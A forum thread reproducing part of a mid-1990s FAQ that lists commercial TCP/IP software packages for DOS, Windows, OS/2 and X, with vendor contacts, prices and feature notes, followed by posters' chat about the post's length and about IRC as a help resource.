    Distinct Corporation; P.O. Box 3410, Saratoga, CA 95070-1410;
    (408)741-0781, mailto:mktg@distinct.com

    Suggestion
    Everywhere Access

    This is a remote access package for TCP/IP, including support for telnet
    server, FTP and Kermit transfers, VT100, VT220, VT300 emulation, password
    security. Includes versions working with WATTCP as well as other
    implementations.

    Supro Network Software Inc.; P.O. Box 18, Warsaw, Ontario, Canada K0L-3A0;
    (705) 652-1572, mailto:info@snsi.com

    Downright Speculation
    Fusion

    Pacific Software; (800)541-9508

    Downright Speculation
    ICE/TCP

    James River Group; 125 North First St., Minneapolis, MN 55401;
    (612)339-2521, mailto:jriver@jriver.com


    Downright Speculation
    Lanera TCPOpen/Standard v2.2

    Lanera Corporation; 516 Valley Way, Milpitas CA 95035; (408)956-8344,
    mailto:lanera@netcom.com


    Downright Speculation
    Lantastic for TCP/IP

    Artisoft, Inc.; 691 East River Road, Tucson, AZ 85704; (602)293-6363

    Suggestion
    LAN Workplace for DOS v4.1r8

    Novell, Inc.; 122 East 1700 South, Provo, UT 84606; (800)772-UNIX


    Downright Speculation
    NS & ARPA Services v2.5

    Hewlett-Packard; 19420 Homestead Rd., Cupertino, CA 94014; (408)725-8111


    Recommendation
    The Wollongong Group's PathWay Access

    A family of complete IP Services for DOS/Windows, Macintosh, OS/2, and VMS
    systems, as well as SNMP and X-400/X-500 products. Wollongong has been
    providing IP solutions for over 14 years.

    PathWay Access for DOS/Windows 3.0 - This product has been significantly
    enhanced with the majority of changes being to the Windows applications,
    emulations and remote access. Integrated into Windows, the
    applications are Windows Sockets compatible. Support for all NOS, extensive
    DBMS and third party support.

    VT100-220, VT320-330, VT240-340, 3270 mods 2-5, 3179g, tek4010-4105, drag
    & drop FTP client/server, LPR/LPD/IPR, NetBIOS, NDIS/ODI/PDS/ASI,
    SLIP/CSLIP/PPP/X.25, MIB2 SNMP agent, Scripting, Graphical Remapping, NFS,
    SMTP/IMAP/POP(MIME), NetNews reader.

    Pricing: Many different pricing schemes exist for these products based on
    customer requirements, from shrink-wrap bundles to expandable licenses that
    can be added to in any number, with discounts based on accrued amount levels.
    Aggressive educational discounts and trade-up pricing are offered.

    PathWay Access (Single User-DOS/Windows or Mac) - $350
    Client NFS module - $95
    API - $200

    Technically supported evaluations are provided free of charge to qualified
    individuals. Also offered is a demonstration disk tour of PathWay Access 3.0
    free and yours to keep.

    The Wollongong Group; 1129 San Antonio Rd, Palo Alto, CA 94301;
    800-872-8649 (Outside Cal), 800-962-8649 (In Cal), (519)747-9900
    (Canada), +31 2503-24142 (Europe), (415)962-7134,
    (415)962-7202, mailto:sales@twg.com


    *Downright Speculation
    JSB Multiview 4.01

    JSB; 108 Whispering Pines Dr., Suite 115, Scotts Valley, CA 95066;
    (408)438-8300

    *Downright Speculation
    Reflection TCP Suite 4.0

    Reflection TCP includes ftp (client and server), lpr, and telnet. The
    stack supports an SNMP agent.

    Walker, Richer and Quinn; 1500 Dexter Ave. N., Seattle, WA 98109; (206)217-7500

    *Downright Speculation
    LAN Workgroup/NFS 4.2

    This is the package to get if you're running NetWare. Includes support for
    NFS (client), BOOTP (client and server), lpr/lpd, telnet, and NIS.

    Novell; 122 E. 1700 S., Provo, Utah, 84606; (800)638-9273

    Downright Speculation
    PC-Interface Plus 2.0

    PC-Interface Plus includes an ftp client reminiscent of the Windows File
    Manager, a TinyTerm telnet client; and a repackaged version of Eudora for mail.

    Locus Computing; 9800 La Cienega Blvd., Inglewood, CA 90301; (310)670-6500

    Downright Speculation
    PC-LINK for DOS
    PC-LINKW for Windows

    X LINK Technology; 741 Ames Avenue, Milpitas CA 95035; (408)263-8201, fax:
    (408)263-8203, mailto:tom@xlink.com

    Downright Speculation
    TCP Pro

    TCP Pro is a TCP/IP stack for Windows, Windows for Workgroups,
    DOS, OS/2, and NT. The base package includes both Real Mode
    and VxD version of the stack as well as support for WinSock 1.1, NetBIOS,
    extended NetBIOS, NETCI (INT6B), and INT61 (FTP Software, Inc.) interfaces.

    The stack also includes native NDIS and ODI drivers (not shims) and a
    suite of appliations, including Telnet, Ping, FTP Client (Drag and Drop),
    FTP Server, TFTP Server, and a News Reader. They also offer a VxD
    Remote Access solution which includes a PPP/SLIP module and a Windows dialer.
    SNMP MIB 2 and a DHCP client are also included. E-mail and a Web browser are
    due in release v1.1, which will ship in December, 1994.

    Steve Perricone, Network Telesystems; 3990 Freedom Circle, Santa Clara, CA 95054;
    (408)562-7766, mailto:sperrico@ub.com

    *Suggestion
    PC-NFS v5.1 $395

    PC-NFS from SunSoft (a Sun Microsystems business) includes a TCP/IP
    stack, TCP/IP utilities under DOS and Windows, an NFS client, remote
    printing support, SNMP, and Windows Sockets. Add-on packages support email
    and advanced telnet. A Programmer's Toolkit is available which provides DOS
    and Windows support for TCP/IP over sockets and XTI, as well as TIRPC, NIS
    and supporting APIs.

    SunSoft; 2 Elizabeth Dr., Chelmsford, AM 01824; (508)442-0271
    Also: 2550 Garcia Avenue, Mountain View, CA 94043; 1-800-SUNSOFT (USA),
    +44-494-472900 (N. Europe), +49-89-46008-551 (Central Europe),
    +33-1-3067-5477 (S. Europe), +81-3-5717-5017 (Japan)

    *Suggestion
    PC-NFSpro v1.1 $395

    PC-NFSpro from SunSoft (a Sun Microsystems business) is a Windows-only
    32-bit VxD product. It includes a TCP/IP stack, PPP, NetBIOS, and NFS
    client (all VxDs), remote printing, SNMP, and Windows Sockets. Bundled
    applications include VT320 telnet, email, FTP, and RSH/REXEC. Servers
    are provided for print, FTP and telnet. DHCP and BOOTP are supported.
    Driver support includes NDIS2, NDIS3, ODI, and packet drivers. Add-on
    packages include 3270 and X Windows. On-line documentation is provided
    on CD-ROM.

    SunSoft; 2 Elizabeth Dr., Chelmsford, AM 01824; (508)442-0271
    Also: 2550 Garcia Avenue, Mountain View, CA 94043; 1-800-SUNSOFT (USA),
    +44-494-472900 (N. Europe), +49-89-46008-551 (Central Europe),
    +33-1-3067-5477 (S. Europe), +81-3-5717-5017 (Japan)


    Recommendation
    PC/TCP v2.2 $350
    Kernel Only $200

    PC/TCP v2.2 offers a solid implementation of TCP/IP for DOS, with some
    Windows applications. It includes NFS for UDP or TCP, remote login
    (telnet, rlogin, supdup) with a variety of terminal emulators, file
    transfer (FTP, TFTP, rcp), electronic mail and news (pop2, pop3, pcmail,
    mail, SMTP, NNTP), printing (LPR and print redirection) and informational
    utilities (whois, ping, finger, host). Some kerberos support is available
    to domestic customers. If used alongside ConcordCommunications Mapware
    controllers, this product is capable of handling both OSI and TCP/IP
    concurrently. 3270 support is OK.

    It is available for Ethernet (DIX or 802.3), Token Ring, SLIP, PPP,
    LocalTalk and X.25 interfaces, over packet drivers, ODI drivers, NDIS
    drivers, banyan drivers, and ASI drivers.

    This package does not route; you are therefore restricted to installing it
    with PPP, SLIP or Ethernet, but not some combination of the above.

    PC/TCP is incompatible with Stacker. As of version 2.2, the Windows
    applications have been improved. New to Windows support is the ability to
    mount and unmount NFS drives from within Windows, and to use PCNFSD printer
    services from Windows.

    The 2.2 manual includes a 6-page install guidelette, and now offers a
    menu-driven installation and configuration program.

    FTP Software, Inc.; 100 Brickstone Sq., Fifth Floor, Andover, MA 01810;
    (508)685-4000, (800)282-4387, Support: (800)382-4ftp, fax: (508)659-6104,
    mailto:sales@ftp.com, http://www.ftp.com/

    *Suggestion
    PC/TCP OnNet 1.1 for DOS/Windows $350
    PC/TCP OnNet 1.1 for DOS/Windows $450 (with PC/TCP)

    This is a graphical package from FTP Software with a VxD TCP/IP
    stack. It includes clients for FTP, Telnet, NFS, news, mail, finger,
    DHCP, BOOTP, NetBIOS, SNMP, tar and lpr as well as an FTP server, Kerberos
    support and support for packet or ODI drivers. The OnNet ftp client
    supports dragging and dropping files between hosts.

    There is a bug in the telnet vt-100/220
    emulation which is fixable via ftp'ing a new version.

    Features of the software (from Graham Kenville, mailto:graham@mitta.com ):
    1. Provides a nice GUI based way to configure printers and drive
    attachment which is pretty easy to use. Makes it possible
    to automatically mount whatever drives you usually mount
    each time you start Windows. You can provide a default user
    name. You only have to enter the password once per session
    to mount all drives.
    2. You can set up any PC running PC-TCP/OnNet to be a print server
    for PC's and Unix. The icon and setup for this is all there,
    but I haven't tried it yet.
    3. The telnet is pretty good, provides VT-100/200 & DEC character
    support. Allows you to print screen, save scroll-back buffer
    to disk or print it, you can set the number of scroll-back lines
    up to (I think) 3000.
    4. Provides a ping/traceroute utility which works ok.


    FTP Software, Inc.; 100 Brickstone Sq., Fifth Floor, Andover, MA 01810;
    (508)685-4000, (800)282-4387, Support: (800)382-4ftp, fax: (508)659-6104,
    mailto:sales@ftp.com, http://www.ftp.com/

    *Downright Speculation
    Acadia/VxD v1.0 ($256/user 10 user price, $395 single user)

    Acadia/VxD consists of the TCP, IP, and UDP protocols and a set of Windows
    and DOS utilities including FTP, telnet, SMTP, and POP3 client and server
    mail with MIME support, TN3270, Winsock interface, NFS client and server, and
    NetBIOS. Acadia/VxD uses _no_ conventional memory and provides data transfer
    rates exceeding 600 Kbytes/Sec. Services such as NFS and lpd are started from
    DOS. The ftp client does not support dragging and dropping between hosts, and
    the Telnet application is licensed from Sun and is therefore part of PC-NFSpro.

    Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
    fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

    *Downright Speculation
    Piper/IP ($199/user 10 user price, $375 single user)

    Piper/IP is a complete TCP/IP suite of DOS and Windows applications. Piper/IP
    runs in only 6K of memory, and provides exceptional performance with data
    transfers exceeding 500 Kbytes per second. Piper/IP is network installable,
    with a network install taking about 5 minutes total time. Piper/IP supports
    all popular network drivers and operates with ODI, NDIS, VINES and Packet
    Drivers, and has built in support for SLIP and PPP.

    Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
    fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

    *Downright Speculation
    Developer's Kit ($475)

    The Ipswitch Developer's Kit for Acadia/VxD, Catipult, Piper/IP, and
    Vantage/IP consists of Ipswitch's tools for developing 16- and 32-bit
    Berkeley Sockets-based applications. The Ipswitch Developer's Kit is
    compatible with Microsoft C 5.1, C 6.0, C/C++ 7.0, Visual C 1.5, 2.0,
    and Borland C/C++ 3.1 and 4.0.

    Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
    fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

    *Downright Speculation
    Catipult (30 user gateway license $2975)

    Catipult is a TCP/IP application gateway for NetWare. Catipult lets NetWare
    workstations run TCP/IP applications concurrently with NetWare to communicate
    with workstations, mini computers mainframes and other hosts running UNIX or
    any of a wide variety of operating systems.

    Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
    fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

    *Downright Speculation
    Vantage/IP ($256/user 10 user price, $395 single user)

    Vantage/IP provides TCP/IP connectivity for OS/2 workstations with complete
    OS/2 LAN integration and support for all popular APIs.

    Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
    fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

    IMail, INews, and WFTP, which ship with Acadia/Vxd and Piper/IP are also
    available as separate products.

    *Downright Speculation
    IMail ($41.25 from the web site, $55 otherwise)

    IMail is a complete TCP/IP mail system for Windows. Both SMTP and POP3
    clients and servers are included. IMail has multiple mailboxes, powerful
    filtering, and search capabilities, MIME support, file import/export, plus
    personal and shared address books and aliases. IMail has an intuitive,
    powerful interface that makes it easy to read, write, maintain, and archive
    messages. IMail is compatible with any Winsock 1.1-compliant TCP/IP product.

    Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
    fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

    *Recommendation
    WFTP ($38/user 10 users, $45 single user)

    WFTP is a Windows FTP client with drag and drop file transfer, intuitive
    directory and file displays, firewall protection, and support for more than
    twenty types of remote file systems. WFTP is compatible with any Winsock
    1.1-compliant TCP/IP product.

    Ipswitch, Inc.; 669 Main Street, Wakefield, MA. 01880; (617)246-1150,
    fax:(617)245-2975, mailto:info@ipswitch.com, http://directory.net/ipswitch/

    *Downright Speculation
    SuperTCP v3.00r $495
    SuperTCP Pro v1.1
    SuperHighway Access for Windows

    SuperTCP supports telnet (3270, VT100, VT102, and VT220 emulation), talk,
    SMTP, ftp, and ping. SuperTCP supports both
    TCP/IP and Novell IPX protocols, as well as SNMP.

    It is written as a DLL, although a TSR version of the protocol stack is
    also available for those who want to use DOS as well. Network statistics
    (arp, ICMP messages, etc.) are available.

    The WinTapestry application is a single application supporting WWW, Gopher+,
    CSO, Archie, WAIS, GIF and JPEG image viewers, in addition to an Internet
    Organizer. WinTapestry offers multi-session support. The mail application
    supports MIME, personal and shared address book, prioritization of messages,
    sorting by date or subject, hierarchical folders, rule-based message filtering
    and offline creation or reading of mail. It also supports distribution lists,
    and automatic forwarding. The FTP application supports drag and drop
    transfers. The Telnet application supports VT100 emulation. There is also
    an NNTP newsreader.

    SuperTCP Pro includes clients and servers for NFS, telnet, lpr/lpd and
    FTP as well as an X server. The package comes with both a CD-ROM and
    floppy disks. Simultaneous use of SLIP/PPP and network adapter
    interfaces is supported.

    SuperHighway Access for Windows is a dialup version of the Super-TCP
    package. It supports SLIP/CSLIP/PPP and is compatible with Windows
    Sockets v1.1. it includes scripts for Internet Service Providers.

    Frontier Technologies;10201 North Port Washington Road, Mequon, WI 53092,
    (414)241-4555, fax:(414)241-7084, mailto:info@frontiertech.com,
    ftp://ftp.FrontierTech.COM/, Frontier BBS: (414)241-7083


    *Downright Speculation
    Intercon TCP/Connect II

    This package is the same as SuperTCP NFS with the addition of a Gopher client,
    and without X support.

    Intercon Systems; 950 Herndon Pkwy., Herndon, VA 22070; (703)709-5500

    Downright Speculation
    TCP/IP for DOS v2.10

    IBM; Dept. E15, P.O. Box 12195, Research Triangle Park, NC 27709;
    (800)IBM-CALL


    Downright Speculation
    TCP/IP Utilities for LanManager v1.0
    Windows for Workgroups TCP/IP
    Windows NT

    Microsoft; One Microsoft Way, Redmond WA 95052-6399; (206)882-8080

    Downright Speculation
    TCP/2 for DOS

    Essex Systems; (508)532-5511


    Downright Speculation
    TTCP v1.2r2

    Turbosoft Pty Ltd; 248 Johnston St., Annandale, NSW Aus. 2038; +61 2 552
    1266, mailto:info@abccomp.oz.au


    OS/2

    *OS 3.0

    Rumour has it that this includes a bunch of bundled applications, including
    a graphical Web browser, a Gopher, FTP, Telnet, Mail, and News.

    IBM, (800)426-2968, (800)426-2255


    XWARE


    Downright Speculation
    Hummingbird Communications

    Hummingbird's PC X Server includes a TCP/IP stack. They offer PC
    X servers for DOS, Windows, OS2, and Windows NT. These work over
    network adapters, as well as serial lines, at which they claim
    to be especially good.

    Features include: 32-bit, X11R5, easy installation, network installation,
    remote network management and configuration, BASIC scripting language,
    local Motif window manager, telnet, drag and drop FTP, development kit
    for porting X apps to the PC platform, line printer deamon, support
    for dozens of other TCP/IP stacks, IPX/SPX, and DECnet, and telephone line access.

    The hardware requirements are a 386 or better, Windows 3.1 or better,
    and 4mb of RAM. (for a network connection, you will need a network
    card)

    Hummingbird Communications, Ltd.; 2900 John Street, Markham, Ontario, Canada
    L3R 5G3; (905)470-1203, fax: (905)470-1207, email: colin.webster@hcl.com


    Suggestion
    PC-Xview

    PC-Xview is available for DOS or Windows, supporting use of X over the
    network. It also supports NCD's Xremote protocol that allows X to run over
    a modem much faster than could be achieved running a standard X package
    over SLIP or PPP.

    Network Computing Devices, Inc.; (800)793-7638

    Downright speculation
    XVISION $449

    XVision allows X applications to run under Windows. You have a choice of
    running each X app in its own Window, or all X applications within one big
    Window.

    VisionWare, Ltd.; 57 Cardigan Lane, Leeds, England; 44-0-532-788858,
    (800)222-0550, fax:44-0-532-304676

    Downright Speculation
    DesQView X

    DesQView X integrates networks of DOS and UNIX machines using the X-Windows
    protocol, allowing DOS machines to act as X-Windows clients and servers.

    Quarterdeck Office Systems; 150 Pico Boulevard, Santa Monica, CA90405;
    (213)392-9851, fax:(213)399-3802

    Development Software
    Epilogue Technology

    Includes source code. mailto:info@epilogue.com, fax: (505)271-9788

    Spider Systems

    Available for many architectures, mailto:ian@spider.co.uk, fax:
    44-31-555-0664

    Marben Produit
    TCP/IP Source

    available, fax: 33-1-47.72.55.00

    Network Research
    FUSION
    Source available, fax: 1(805)485-8204


    ------------------------------ END OF PART 5 ------------------------

    Please send comments to:

    Bernard Aboba
    Author of:
    The Online User's Encyclopedia, Addison-Wesley, 1994
    The PC-Internet Connection, Publisher's Group West, due in 1995
    mailto:aboba@netcom.com
    FTP archive: ftp://ftp.zilker.net/pub/mailcom/
    WWW page: http://www.zilker.net/users/internaut/index.html

  4. #4
    that is seriously an overflow of info... just make a text file and attach it.. it took my browser a good 30 seconds to load all that... i did read here and there but most of that is very introductory but a good read indeed.. but do me a favor, edit it to an attached .txt..

  5. #5
    Ninja Code Monkey
    Join Date
    Nov 2001
    Location
    Washington State
    Posts
    1,027
    Speaking as one of the ego-inflated dickheads in irc.....irc is fine for getting information. You simply need to do your due dilligence first, find the right people to ask, and don't be retarded.
    "When I get a little money I buy books; and if any is left I buy food and clothes." - Erasmus
    "There is no programming language, no matter how structured, that will prevent programmers from writing bad programs." - L. Flon
    "Mischief my ass, you are an unethical moron." - chsh
    Blog of X

  6. #6
    Senior Member gore's Avatar
    Join Date
    Oct 2002
    Location
    Michigan
    Posts
    7,177
    Originally posted here by Juridian
    Speaking as one of the ego-inflated dickheads in irc.....irc is fine for getting information. You simply need to do your due dilligence first, find the right people to ask, and don't be retarded.
    I didn't write that part. The email address at the bottom is of the author. I'm thinking you took that as a shot at you, but it wasn't. I already told you what I thought about egos.

  7. #7
    Ninja Code Monkey
    Join Date
    Nov 2001
    Location
    Washington State
    Posts
    1,027
    *shrugs* I thought it could have been, but it doesn't bother me at all. I was more interested in replying to the statement about irc being bad for info. IRC can be very good for getting help, I often go to certain channels to get help with an assortment of things if I've exhausted my other resources or need someone with a different viewpoint.
    "When I get a little money I buy books; and if any is left I buy food and clothes." - Erasmus
    "There is no programming language, no matter how structured, that will prevent programmers from writing bad programs." - L. Flon
    "Mischief my ass, you are an unethical moron." - chsh
    Blog of X

  8. #8
    Senior Member gore's Avatar
    Join Date
    Oct 2002
    Location
    Michigan
    Posts
    7,177
    Originally posted here by Juridian
    *shrugs* I thought it could have been, but it doesn't bother me at all. I was more interested in replying to the statement about irc being bad for info. IRC can be very good for getting help, I often go to certain channels to get help with an assortment of things if I've exhausted my other resources or need someone with a different viewpoint.
    I agree with that, IRC can be a great resource if the check list you made is taken into consideration. I'm hoping to make this post a little different. I think I'm going to chop the "halves" in half again. I had all of this is one post at first and it was NOt working well. So I made it into two posts, then the final 3.

    It was hard as hell trying to sort through the over 3,000 text files I have found and written to put this together, but I think it's good to have a big ass thread where someone wityh some free time can learn alot about things in TCP/IP including a bit on security at the same time.

    That's why I mainly added the TCP attack info. It's slightly dated but can give people an idea of how the security aspect works out without just printing them instructions.

    While we have our lil convorsation going, how do you feel I did on this giant post J? I know if I chop it down I'll probably redo how it's laid out, it looks slightly messy to me. I just wanted to be sure it would post.

  9. #9
    Ninja Code Monkey
    Join Date
    Nov 2001
    Location
    Washington State
    Posts
    1,027
    From what I've gathered so far, some parts are good and others i think could use some serious editing. I need to go through it a bit more thoroughly to really give an educated opinion. So much to read, so little time...
    "When I get a little money I buy books; and if any is left I buy food and clothes." - Erasmus
    "There is no programming language, no matter how structured, that will prevent programmers from writing bad programs." - L. Flon
    "Mischief my ass, you are an unethical moron." - chsh
    Blog of X

  10. #10
    Senior Member gore's Avatar
    Join Date
    Oct 2002
    Location
    Michigan
    Posts
    7,177
    Originally posted here by Juridian
    From what I've gathered so far, some parts are good and others i think could use some serious editing. I need to go through it a bit more thoroughly to really give an educated opinion. So much to read, so little time...
    Heh, yea I think this thing needs a clean up job. The size is huge but I wanted to get enough in from each section to actually get a good reaction on what was good and what can be taken out without spoiling the over all document. I have this on my HD in two peices right now going over it to see what could me trimmed.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •